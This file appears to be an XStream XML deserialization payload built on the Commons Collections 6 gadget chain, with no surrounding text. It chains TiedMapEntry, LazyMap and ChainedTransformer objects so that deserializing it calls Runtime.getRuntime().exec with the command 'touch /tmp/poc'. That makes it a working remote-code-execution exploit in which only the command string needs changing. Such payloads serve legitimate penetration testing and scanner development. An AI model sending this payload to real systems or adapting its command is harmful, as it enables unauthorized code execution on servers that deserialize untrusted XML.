CommonsCollections6.xml

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
      <unserializable-parents/>
      <org.apache.commons.collections.map.LazyMap>
        <default>
          <factory class="org.apache.commons.collections.functors.ChainedTransformer">
            <iTransformers>
              <org.apache.commons.collections.functors.ConstantTransformer>
                <iConstant class="java-class">java.lang.Runtime</iConstant>
              </org.apache.commons.collections.functors.ConstantTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>getMethod</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.String</java-class>
                  <java-class>[Ljava.lang.Class;</java-class>
                </iParamTypes>
                <iArgs>
                  <string>getRuntime</string>
                  <java-class-array/>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>invoke</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.Object</java-class>
                  <java-class>[Ljava.lang.Object;</java-class>
                </iParamTypes>
                <iArgs>
                  <null/>
                  <object-array/>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>exec</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.String</java-class>
                </iParamTypes>
                <iArgs class="string-array">
                  <string>touch /tmp/poc</string>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.ConstantTransformer>
                <iConstant class="int">1</iConstant>
              </org.apache.commons.collections.functors.ConstantTransformer>
            </iTransformers>
          </factory>
        </default>
        <map/>
      </org.apache.commons.collections.map.LazyMap>
    </map>
    <key class="string">foo</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>